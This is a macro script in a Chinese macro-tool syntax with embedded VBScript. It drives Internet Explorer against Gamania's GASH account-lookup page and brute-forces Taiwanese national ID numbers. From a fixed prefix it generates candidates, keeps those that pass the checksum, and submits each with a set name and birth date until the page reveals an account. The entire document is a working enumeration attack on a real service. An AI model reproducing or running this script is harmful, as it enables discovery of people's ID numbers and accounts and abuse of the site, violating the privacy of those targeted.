- 用户定义变量 NameVal=魔幻小鱉 姓名
- 用户定义变量 strID_Var=S123 身份證前四碼
- 用户定义变量 YearVal=1985 西元xxxx年
- 用户定义变量 MonthVal=10 月
- 用户定义变量 DayVal=16 日
- (VBScript语句) Dim objIE,x,n,CheckSum,strID
- (VBScript语句) n=0
- (VBScript语句) CheckSum=1
- // 啟動IE
- (VBScript语句) Set objIE = CreateObject("InternetExplorer.Application")
- (VBScript语句) objIE.Visible=true
- // 打開預設網頁
- (VBScript语句) objIE.Navigate "https://tw.gash.gamania.com/LookUpGASHID.aspx"
- // 判斷頁面是否讀取完畢
- 如果表达式 (objIE.Busy Or objIE.ReadyState <> 4) 为真,则循环执行
- 延时50毫秒
- 循环结束
- // 視窗放大
- 按住<Alt>
- 按键<Space>
- 弹起<Alt>
- 按键<X>
- // 開始查詢身份證,並輸入到網頁
- 循环 1000000 遍
- strID=strID_Var & Right("00000" & n,6)
- 调用子程序 CheckID
- 如果表达式 (CheckSum Mod 10 = 0) 为真,则
- 调用子程序 InputID
- 条件结束
- // 累計數字
- (VBScript语句) n=n+1
- 循环结束
- // 結束
- 标记 FindEnd
- 脚本停止运行
- // ==============身份証號碼驗証=================
- 子程序 CheckID
- CheckSum=1
- // 轉換大寫
- UserID = UCase(strID)
- // 取得開頭英文字母
- AreaCode = Left(UserID, 1)
- // 確定身證有10碼
- 如果表达式 (Len(UserID) = 10) 为真,则
- // 確定首碼在A-Z之間
- 如果表达式 (AreaCode >= "A" And AreaCode <= "Z") 为真,则
- // 確定2-10碼是數字
- 如果表达式 (IsNumeric(Mid(UserID, 2))) 为真,则
- // 取得首碼對應的區域碼,A ->10, B->11, ..H->17,I->34, J->18...
- AreaNo = InStr("ABCDEFGHJKLMNPQRSTUVXYWZIO", AreaCode) + 9
- UserID = CStr(AreaNo) + Mid(UserID, 2)
- // 取得CheckSum的值
- CheckSum = CLng(Mid(UserID, 1, 1)) + CLng(Mid(UserID, 11, 1))
- I=2
- 循环 9 遍
- CheckSum = CheckSum + CLng(Mid(UserID, I, 1)) * (11 - I)
- I=I+1
- 循环结束
- 条件结束
- 条件结束
- 条件结束
- 子程序结束,回到调用处
- // ==============網頁中輸入身份證號碼=================
- 子程序 InputID
- // 姓名
- (VBScript语句) objIE.Document.All("ctl00$ContentPlaceHolder1$tbRealName").Value = NameVal
- // 身份証
- (VBScript语句) objIE.Document.All("ctl00$ContentPlaceHolder1$tbPersonalID").Value = strID
- // 西元
- (VBScript语句) objIE.Document.All("ctl00$ContentPlaceHolder1$tbBYear").Value = YearVal
- // 月
- (VBScript语句) objIE.Document.All("ctl00$ContentPlaceHolder1$ddlBMonth").Value = MonthVal
- // 日
- (VBScript语句) objIE.Document.All("ctl00$ContentPlaceHolder1$ddlBDay").Value = DayVal
- // 點選
- (VBScript语句) objIE.Document.All("ctl00$ContentPlaceHolder1$btnSubmit").Click()
- // 判斷頁面是否讀取完畢
- 如果表达式 (objIE.Busy Or objIE.ReadyState <> 4) 为真,则循环执行
- 延时50毫秒
- 循环结束
- // 讀取完成,開始其它腳本動作
- (VBScript语句) strIE = objIE.Document.Body.InnerHTML
- // 核對文字
- x= "以下是您的帳號,請牢記唷!!"
- (VBScript语句) s=InStr(strIE,x)
- 如果表达式 (s>0) 为真,则
- 弹出窗口 "找到了" & strID
- 跳转到标记 FindEnd
- 条件结束
- 子程序结束,回到调用处